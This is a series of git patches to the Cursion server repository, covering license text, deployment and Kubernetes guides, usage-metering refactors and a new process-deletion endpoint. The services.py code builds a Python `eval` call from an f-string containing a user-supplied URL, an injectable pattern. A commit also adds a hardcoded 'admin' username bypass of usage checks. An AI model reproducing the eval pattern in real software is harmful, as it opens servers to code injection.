+A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007.
+
+Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law.
+
+12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program.
+
+13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such.
+
+14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation.
+
+If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program.
+
+Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version.
+
+15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee.
+
+END OF TERMS AND CONDITIONS
+
+How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.
+
+To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found.
+
+Copyright (C)
+
+This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail.
+
+If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode:
+
+Copyright (C)
+
+This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an “about box”.
+
+You should also get your employer (if you work as a programmer) or school, if any, to sign a “copyright disclaimer” for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see .
+
+The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read .
\ No newline at end of file
diff --git a/notes/Deployment.md b/notes/Deployment.md
deleted file mode 100644
index 1b564fcb..00000000
--- a/notes/Deployment.md
+++ /dev/null
@@ -1,168 +0,0 @@
-# Cursion Deployment (single Server)
-
-- [Cursion Deployment (single Server)](#cursion-deployment-single-server)
-  - [Environment](#environment)
-  - [Local](#local)
-  - [Remote](#remote)
-  - [Scripts](#scripts)
-    - [Install and run Docker in Containers](#install-and-run-docker-in-containers)
-    - [Get \& Set Node Memory:](#get--set-node-memory)
-    - [Clean up Docker leftovers on Server](#clean-up-docker-leftovers-on-server)
-
-
-&nbsp;
- 
----
-&nbsp;
-
-## Environment
-
-Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files.  **Never store actual .env's in a repo.** Things to change:
-- high level django configs
-- admin credentials 
-- email credentials
-- database configs
-- google API keys
-- stripe keys
-- OAuth keys
-- twilio credentials
-- slack credentials
-- s3 remote storage credentials
-
-&nbsp;
- 
----
-&nbsp;
-
-## Local
-Install and run locally on your machine in a dev environment.
-
-> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step.
-
-```shell
-$ pip3 install virtualenv
-$ virtualenv appenv
-$ source appenv/bin/activate
-$ mkdir app
-$ git clone https://github.com/Cursion/server.git
-```
-*Spin-up the application*
-```shell
-$ docker compose -f docker-compose.local.yml up --build
-```
-*Spin-down the application*
-```shell
-$ docker compose -f docker-compose.local.yml down
-```
-
-&nbsp;
- 
----
-&nbsp;
-
-## Remote
-Install and deploy remotely in a production environment.
-
-> Ensure you have Docker installed and running on your server prior to this step.
-
-*Server configurations for Ubuntu 20.04*
-``` shell
-$ ssh root@your_server_ip
-# apt update
-# apt upgrade
-# adduser {user}
-# usermod -aG sudo {user}
-# ufw allow OpenSSH
-# ufw enable
-# su {user}
-```
-
-*Add user to docker group*
-```shell
-$ sudo usermod -aG docker {user}
-$ newgrp docker 
-```
-
-*Generate SSH keys for GitHub*
-``` shell
-$ ssh-keygen -t ed25519 -C "your_github_email@example.com"
-```
-- press `Enter` 3 times
-```shell
-$ eval "$(ssh-agent -s)"
-$ ssh-add ~/.ssh/id_ed25519
-$ cat ~/.ssh/id_ed25519.pub
-```
-- copy key to clipboard and paste in GitHub
-
-
-*Add ssh_key.pub to {user} authorized_keys*
-```shell
-$ {your_ssh_key.pub} >> ~/.ssh/authorized_keys
-```
-
-
-*Create a dir to clone the app into*
-``` shell
-$ cd ~
-$ mkdir app
-$ cd app
-$ git clone git@github.com:Cursion/server.git
-```
-*Spin-up the application*
-```shell
-$ docker compose -f docker-compose.prod.yml up -d --build
-```
-*Spin-down the application*
-```shell
-$ docker compose -f docker-compose.prod.yml down
-```
-*Spin-down the application and removes the volumes*
-```shell
-$ docker-compose -f docker-compose.prod.yml down -v
-```
-
-
-
-&nbsp;
-
----
-
-&nbsp;
-
-## Scripts
-
-*ssh into container*
-``` shell
-$ docker exec -it <container:id> /bin/sh
-```
-
-
-### Install and run Docker in Containers
-```shell
-sed -i 's/ulimit -Hn/# ulimit -Hn/g' /etc/init.d/docker;
-service docker start &&
-sleep 10 &&
-docker run -d --privileged --restart unless-stopped -p 8383:8383 cursion/ylt &&
-```
-
-
-### Get & Set Node Memory:
-Get Current Memory
-```shell
-node -e 'console.log(`Node RAM space: ${v8.getHeapStatistics().heap_size_limit/(1024*1024)}`)'
-```
-Set New Memory
-```shell
-export NODE_OPTIONS="--max-old-space-size=4080" # Increase to 4 GB
-export NODE_OPTIONS="--max-old-space-size=5120" # Increase to 5 GB
-export NODE_OPTIONS="--max-old-space-size=6144" # Increase to 6 GB
-export NODE_OPTIONS="--max-old-space-size=7168" # Increase to 7 GB
-export NODE_OPTIONS="--max-old-space-size=8192" # Increase to 8 GB
-```
-
-
-### Clean up Docker leftovers on Server
-```shell
-docker system prune --all --force --volumes
-```
\ No newline at end of file
diff --git a/notes/Docker.md b/notes/Docker.md
new file mode 100644
index 00000000..e3622179
--- /dev/null
+++ b/notes/Docker.md
@@ -0,0 +1,33 @@
+# Docker Guide
+
+
+Install and run locally on your machine using `Docker`.
+
+> Ensure you have `Docker` and `Docker-desktop` installed and running on your machine prior to begining this guide.
+
+&nbsp;
+
+
+### 1. **Clone the repo**
+```shell
+git clone https://github.com/cursion-dev/server.git
+```
+
+
+### 2. **Export `CURSION_ROOT`**
+```shell
+echo 'export CURSION_ROOT=<your/path/to/cursion/server>' >> ~/.zshrc  # (or ~/.bash_profile)
+```
+
+
+### 3. **Update `.env.local`**
+Prior to running the app, be sure to update `.env.local.example` with your unique values, and remove the `.example` extention from the file.
+
+
+### 4. **Build and Run**
+```shell
+source ./setup/scripts/local.sh
+```
+&nbsp;
+
+ 
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 9ad6d2fb..71a1c6c0 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -1,221 +1,79 @@
-# Notes on k8s deployments
----
-<br>
+# Kubernetes Guide
 
 
-### Create k8s files in yaml (kompose)
-```shell
-kompose convert -f docker-compose.yml -o ./k8s
-```
+Install and run locally on your machine using `Kubernetes`.
 
-### Build k8s 
-```shell
-kubectl apply -f ./k8s/k8s-local.yaml
-```
+> Ensure you have `Docker` and `minikube` installed and running on your machine prior to this step.
 
-### Delete k8s 
-```shell
-kubectl delete -f ./k8s/k8s-local.yaml
-```
+&nbsp;
 
-### List containers 
-```shell
-kubectl get pod
-```
-
-### List pods with IPs
-```shell
-kubectl get pod -o wide
-```
 
-### To get all creation events for debugging:
+### 1. **Clone the repo**
 ```shell
-kubectl get events --sort-by=.metadata.creationTimestamp
+$ git clone https://github.com/cursion-dev/server.git
 ```
 
-### SSH into container:
-```shell
-kubectl exec -it celery-849f76858b-bvmqg -- /bin/sh
-```
 
-### Creating secrets for docker:
+### 2. **Export `CURSION_ROOT`**
 ```shell
-kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=landonr --docker-password=<docker-pass> --docker-email=<docker-email>
+echo 'export CURSION_ROOT=<your/path/to/cursion/server>' >> ~/.zshrc  # (or ~/.bash_profile)
 ```
 
-#### - Then add this to both celery and app containers:
-```yaml
-spec:
-  imagePullSecrets:
-    - name: regcred
-```
-
-### Start and Stop minikube
-```shell
-minikube start
-minikube stop
-```
 
-### Port Forwarding for app
+### 1. Ensure minikube is running
 ```shell
-kubectl port-forward service/app-service 8000:8000
-```
-
-
-<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
-
-
-# Setps to Deploy localy
-1. ensure minikube is running
-   - ``` minikube status ``` 
-2. create secrets for app image pull from docker
-   - ``` kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email> ```
-3. build db-configs-configs 
-   - ``` kubectl apply db-configs.yaml ``` 
-4. build db-deployment
-   - ``` kubectl apply db-deployment.yaml ``` 
-5. build redis-deployment
-6. get pod ip of db-deployment
-   - ``` kubectl get pod  --template '{{.status.podIP}}' ```
-   - or ``` kubectl get pod -o wide ```
-7. copy ip and paste into app-configs-configs for field "DB_HOST"
-8. build app-configs
-   - ``` kubectl apply app-config.yaml ``` 
-9.  build app-deployment
-   - ``` kubectl apply db-deployment.yaml ``` 
-10. build celery-deployment
-    - ``` kubectl apply db-deployment.yaml ``` 
-11. port forwarding to app deployment
-   -  ``` kubectl port-forward service/app-service 8000:8000 ```
-  
-
----
-
-<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
-
-# Setps to Deploy Remotely
-
-> Ensure you are in the `/server` root directory 
+minikube status 
+``` 
 
 
+### 2. **Update config map**
+Prior to running the app, be sure to update `app-configs-example.yaml` with your unique values, and remove the trailing `-example` string from the file.
 
-### 0. Create K8s cluster and Configure context
-``` shell
-doctl kubernetes cluster kubeconfig save {{cluster-name}}
-```
-
-
-### 1. Create docker secrets  
-``` shell
-kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username='<username>' --docker-password='<password>' --docker-email='<email>'
-```
 
-
-### 1. Build Dockerfile into image
-``` shell
-docker build . -t cursiondev/server:latest --platform linux/amd64
-docker image push cursiondev/server:latest
-```
+### 3. Apply app-configs 
+```shell
+kubectl apply $CURSION_ROOT/k8s/local/app-configs.yaml 
+``` 
 
 
-### 2. Install nginx ingress controler on cluster
-``` shell
-kubectl apply -f ./k8s/prod/app-loadbalancer.yaml
-```
-- Then add and `A` record for domain that points to new loadbalancer
-  - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
+### 4. Apply db-deployment
+```shell
+kubectl apply $CURSION_ROOT/k8s/local/db-deployment.yaml 
+``` 
 
 
-### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
-- add the below annotation 
-``` shell
-service.beta.kubernetes.io/do-loadbalancer-hostname: "api.cursion.dev"
+### 5. Apply redis-deployment
+```shell
+kubectl apply $CURSION_ROOT/k8s/local/redis-deployment.yaml 
 ```
 
 
-### 4. Spin up Cursion deployments and services
-``` shell
-kubectl apply -f ./k8s/prod/app-configs.yaml
-kubectl apply -f ./k8s/prod/redis-deployment.yaml
-kubectl apply --server-side -f https://github.com/kedacore/keda/releases/download/v2.11.0/keda-2.11.0.yaml
-kubectl apply -f ./k8s/prod/app-deployment.yaml
-kubectl apply -f ./k8s/prod/celery-deployment.yaml
-kubectl apply -f ./k8s/prod/celery-autoscaler.yaml
-kubectl apply -f ./k8s/prod/beat-deployment.yaml
+### 6. Get pod ip of db-deployment
+```shell
+kubectl get pod -o wide 
 ```
 
 
-#### 4.a  Spin up YLT deploymemt, service, and autoscaler
-``` shell
-kubectl apply -f ./k8s/prod/ylt-deployment.yaml
-kubectl apply -f ./k8s/prod/ylt-autoscaler.yaml # DEPRECIATE
-```
+### 7. Paste db pod IP into app-configs for field "DB_HOST"
+```shell
+kubectl apply $CURSION_ROOT/k8s/local/app-config.yaml 
+``` 
 
 
-### 5. Add app Ingress
-``` shell
-kubectl apply -f ./k8s/prod/app-ingress.yaml
-```
+### 8. Apply app-deployment
+```shell
+kubectl apply $CURSION_ROOT/k8s/local/app-deployment.yaml 
+``` 
 
 
-### 6. Install cert-manager
-``` shell
-kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml
-```
+### 9. Apply celery-deployment
+```shell
+kubectl apply celery-deployment.yaml
+``` 
 
 
-### 7. Add cert issure
-``` shell
-kubectl apply -f ./k8s/prod/app-cert-issuer.yaml
+### 10. Forward Port `8000` to app
+```shell
+kubectl port-forward service/app-service 8000:8000
 ```
-> NOTE: May have to wait a bit before running this one
   
-
-### 8. Update app Ingress for TLS 
-- Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
-``` shell
-kubectl apply -f ./k8s/prod/app-ingress.yaml
-```
-
-
-### 9. Install kubeip dameon & service
-``` shell
-kubectl apply -f ./k8s/prod/kubeip-service.yaml
-kubectl apply -f ./k8s/prod/kubeip-daemon.yaml
-```
-
-
-### NOTES:
- - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
-   - `kubectl delete certificate <cert-name>`
-   - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
- - Restart celery, beat, & app deployments for a config-map change:
-   - `kubectl rollout restart deployment app-deployment celery-deployment beat-deployment`
- - Check status of deployment rollout
-   - `kubectl rollout status deployment/app-deployment`
- - Get Current IPs for pods:
-   - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
- - Force delete pods that are stuck in `Terminating`:
-   - `for p in $(kubectl get pods | grep Terminating | awk '{print $1}'); do kubectl delete pod $p --grace-period=0 --force;done`
- - Stream Logs for all celery-deployments:
-   - `kubectl logs -f --all-containers deployment/celery-deployment`
-   - `kubectl logs -f --selector=app=celery-deployment --all-containers --max-log-requests=7`
-
-
-
----
-
-<div style="margin-top: 8rem; margin-bottom: 8rem"></div>
-
-# Migration Notes for DB:
-1. Go to `models.py` and comment out all new additions
-2. Spinup staging env locally to create `00001_initial.py` migration as baseline
-   - `docker compose -f docker-compose.stage.yml up --build`
-3. Spin down staging env
-   - `docker compose -f docker-compose.stage.yml down`
-4. Un-comment all new additions in `models.py`
-5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
-   - `docker compose -f docker-compose.stage.yml up --build`
-6. Spin down staging env
-   - `docker compose -f docker-compose.stage.yml down`
-7. Merge `dev` branch on github using a pull request
\ No newline at end of file
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index eb614a84..38d60f91 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -1,9 +1,9 @@
 #!/bin/bash
 
 # ensure you create $CURSION_ROOT first:
-# " echo 'export CURSION_ROOT=<your/path/to/cursion/>' >> ~/.zshrc   (or ~/.bash_profile) " 
+# " echo 'export CURSION_ROOT=<your/path/to/cursion/server>' >> ~/.zshrc   (or ~/.bash_profile) " 
 
-cd $CURSION_ROOT/server &&
+cd $CURSION_ROOT &&
 {   
     docker compose -f docker-compose.yml down &&
     docker volume rm server_server server_beat server_celery &&

From e4953b03e8d4a406bc22a2315c87f17e8733e3c3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Jan 2025 18:56:32 -0700
Subject: [PATCH 0828/1099] routine: cleaning things up

---
 .github/workflows/dev-deploy.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 08cddef9..4045c177 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -25,7 +25,7 @@ jobs:
         username: ${{ secrets.DEV_USER }}
         key: ${{ secrets.DEV_KEY }}
         command_timeout: 30m
-        script: |  # docker volume rm app_pgdata
+        script: |
           cd ~/app
           git pull origin dev
           docker compose -f docker-compose.dev.yml down

From 3c5c358a6426b4c0f0d17fbd7a7d44476051dee5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Jan 2025 19:52:31 -0700
Subject: [PATCH 0829/1099] fix: changed to .md for formatting

---
 LICENSE => LICENSE.md | 0
 1 file changed, 0 insertions(+), 0 deletions(-)
 rename LICENSE => LICENSE.md (100%)

diff --git a/LICENSE b/LICENSE.md
similarity index 100%
rename from LICENSE
rename to LICENSE.md

From 37793e9b06859192f895ce3dfc40fd7160175736 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 9 Jan 2025 19:58:10 -0700
Subject: [PATCH 0830/1099] fix: corrected link to LICENSE.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 6e6213e7..45b00b46 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
 </h1>
 
 <p align="center">
-    <a href="LICENSE" target="_blank">
+    <a href="LICENSE.md" target="_blank">
       <img src='https://img.shields.io/badge/license-GNU-green?style=for-the-badge'/>
     </a>
     <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge'/>

From d9c913268347cfaa2cd9589769a22e9e91d0a56a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 10 Jan 2025 14:17:22 -0700
Subject: [PATCH 0831/1099] fix: adding 'admin' bypass for usage check

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9f09afae..af5d120f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -316,7 +316,7 @@ def site_in_sites(id) -> bool:
 
 
     # handle special cases for site and page
-    if resource == 'site' or resource == 'page':
+    if (resource == 'site' or resource == 'page') and account.user.username != 'admin':
         # check existance
         if url:
             if eval(f'{resource.capitalize()}.objects.filter(account__id="{account.id}", {resource}_url="{url}").exists()'):
@@ -339,7 +339,7 @@ def site_in_sites(id) -> bool:
             
 
     # check for cloud / enterprise plan
-    if (account.type == 'enterprise' or account.type == 'cloud') and resource == 'site':
+    if (account.type == 'enterprise' or account.type == 'cloud') and resource == 'site' and account.user.username != 'admin' :
         
         # add to sites_allowed only for enterprise and cloud plans
         if action == 'add' and account.usage['sites_allowed'] == Site.objects.filter(account=account).count():
@@ -353,7 +353,7 @@ def site_in_sites(id) -> bool:
 
 
     # check usage if action is 'add'
-    if action == 'add' and resource in usage_list:
+    if action == 'add' and resource in usage_list and account.user.username != 'admin':
 
         # check if usage allows for 'add'
         if (int(account.usage[f'{resource}s']) >= int(account.usage[f'{resource}s_allowed'])):

From 4b71342bcf75d21c281b9546f176364f554202a5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Jan 2025 13:03:29 -0700
Subject: [PATCH 0832/1099] routine: simplified resource usage and metering

---
 app/api/tasks.py           | 25 ++++++------
 app/api/v1/ops/services.py | 79 ++++++++++++++++++++++++++------------
 2 files changed, 69 insertions(+), 35 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index e0ffff66..9cd4c9f1 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -80,20 +80,23 @@ def s3():
 
 
 
-def check_and_increment_resource(account: object, resource: str) -> bool:
+def check_and_increment_resource(account_id: str, resource: str) -> bool:
     """ 
     Adds 1 to the Account.usage.{resource} if 
     {resource}_allowed has not been reached or 
     if account.type is 'cloud'.
 
     Expcets: {
-        'account'  : <object>,
-        'resource' : <str> 'scan', 'test', 'caserun', etc
+        'account_id'  : <str>,
+        'resource'    : <str> 'scan', 'test', 'caserun', etc
     }
 
     Returns: Bool, True if resource was incremented.
     """
 
+    # get account
+    account = Account.objects.get(id=account_id)
+
     # define defaults
     success = False
     charge_list = ['caseruns', 'flowruns', 'scans', 'tests']
@@ -119,7 +122,7 @@ def check_and_increment_resource(account: object, resource: str) -> bool:
             if (int(account.usage[f'{resource}'])) >= int(account.usage[f'{resource}_allowed']):
 
                 # meter resource
-                meter_resource(account.id, 1)
+                meter_resource.delay(account.id, 1)
             
             # increment and update success
             account.usage[f'{resource}'] = 1 + int(account.usage[f'{resource}'])
@@ -334,7 +337,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
             )
 
             # check resouce allowance
-            if check_and_increment_resource(site.account, 'scans'):
+            if check_and_increment_resource(site.account.id, 'scans'):
 
                 # create initial scan
                 scan = Scan.objects.create(
@@ -418,7 +421,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
             )
 
             # check resouce allowance
-            if check_and_increment_resource(site.account, 'scans'):
+            if check_and_increment_resource(site.account.id, 'scans'):
 
                 # create initial scan
                 scan = Scan.objects.create(
@@ -859,7 +862,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
         for page in pages:
             
             # check resource 
-            if check_and_increment_resource(page.account, 'scans'):
+            if check_and_increment_resource(page.account.id, 'scans'):
 
                 # create Scan obj
                 scan = Scan.objects.create(
@@ -1308,7 +1311,7 @@ def create_test(
             ).order_by('-time_completed')[0]
 
         # check and increment resources
-        if not check_and_increment_resource(page.account, 'scans'):
+        if not check_and_increment_resource(page.account.id, 'scans'):
             
             # update obects
             objects[-1]['status'] = 'failed'
@@ -1497,7 +1500,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                 })
 
                 # check resource 
-                if check_and_increment_resource(page.account, 'tests'):
+                if check_and_increment_resource(page.account.id, 'tests'):
 
                     # updating latest_test info for page
                     page.info['latest_test']['id'] = 'placeholder'
@@ -2017,7 +2020,7 @@ def create_caserun_bg(*args, **kwargs) -> None:
             for site in sites:
 
                 # check and increment resource
-                if check_and_increment_resource(site.account, 'caseruns'):
+                if check_and_increment_resource(site.account.id, 'caseruns'):
         
                     # create new caserun
                     caserun = CaseRun.objects.create(
@@ -2155,7 +2158,7 @@ def create_flowrun_bg(*args, **kwargs) -> None:
         for site in sites:
 
             # check and increment resource
-            if check_and_increment_resource(site.account, 'flowruns'):
+            if check_and_increment_resource(site.account.id, 'flowruns'):
 
                 # set flowrun_id
                 flowrun_id = uuid.uuid4()
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index af5d120f..0f9a1334 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1538,12 +1538,8 @@ def create_scan(request: object=None, **kwargs) -> object:
                 return Response(data, status=check_data['status'])
             return data
 
-        # increment account.usage.scans
-        account.usage['scans'] += 1
-        account.save() 
-
-        # Meter new resource with stripe
-        meter_resource.delay(account.id, 1)
+        # update usage and meter resource
+        check_and_increment_resource(account.id, 'scans')
 
         # creating scan obj
         created_scan = Scan.objects.create(
@@ -2299,12 +2295,8 @@ def create_test(request: object=None, **kwargs) -> object:
         # add test.id to list
         created_tests.append(str(test.id))
 
-        # update account.usage.tests
-        account.usage['tests'] += 1
-        account.save()
-
-        # Meter new resource with stripe
-        meter_resource.delay(account.id, 1)
+        # update usage and meter resource
+        check_and_increment_resource(account.id, 'tests')
 
         # running test in background
         create_test_bg.delay(
@@ -5415,12 +5407,8 @@ def create_caserun(request: object=None) -> object:
         for update in updates:
             steps[int(update['index'])]['action']['value'] = update['value']
 
-    # increment account.usage.caserun
-    account.usage['caseruns'] += 1
-    account.save()
-
-    # Meter new resource with stripe
-    meter_resource.delay(account.id, 1)
+    # update usage and meter resource
+    check_and_increment_resource(account.id, 'caseruns')
 
     # create new tescase 
     caserun = CaseRun.objects.create(
@@ -6162,12 +6150,8 @@ def create_flowrun(request: object=None) -> object:
     # get site if checks passed
     site = Site.objects.get(id=site_id)
 
-    # increment account.usage.runs
-    account.usage['flowruns'] += 1
-    account.save()
-
-    # Meter new resource with stripe
-    meter_resource.delay(account.id, 1)
+    # update usage and meter resource
+    check_and_increment_resource(account.id, 'flowruns')
 
     # set flowrun_id
     flowrun_id = uuid.uuid4()
@@ -6848,6 +6832,53 @@ def get_process(request: object=None, id: str=None) -> object:
 
 
 
+def delete_process(request: object=None, id: str=None) -> object:
+    """
+    Get single `Process` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='process', 
+        action='delete', id=id, id_type='process'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get process if checks passed
+    process = Process.objects.get(id=id)
+
+    # try to revoke celery task
+    try:
+        revoke(process.info.get('task_id'), terminate=True)
+    except Exception as e:
+        print(e)
+
+    # delete process
+    process.delete()
+        
+    # return response
+    data = {'message': 'Process has been deleted'}
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
 ### ------ Begin Log Services ------ ###
 
 

From 51fd025fbcc0f41cc916b1ed682d3ab7578dd069 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Jan 2025 13:23:10 -0700
Subject: [PATCH 0833/1099] update: adding celery task_id to process for
 termination handling

---
 app/api/tasks.py           | 5 +++++
 app/api/v1/ops/services.py | 6 +++++-
 app/api/v1/ops/views.py    | 6 +++++-
 3 files changed, 15 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 9cd4c9f1..23abbc6a 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -1818,6 +1818,11 @@ def create_auto_cases_bg(
     site = Site.objects.get(id=site_id)
     process = Process.objects.get(id=process_id)
 
+    # get current task and save to process
+    task_id = str(self.request.id)
+    process.info = {'task_id': task_id}
+    process.save()
+
     # init AutoCaser
     AC = AutoCaser(
         site=site,
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 0f9a1334..e7b61467 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6864,7 +6864,11 @@ def delete_process(request: object=None, id: str=None) -> object:
 
     # try to revoke celery task
     try:
-        revoke(process.info.get('task_id'), terminate=True)
+        celery.app.control.revoke(
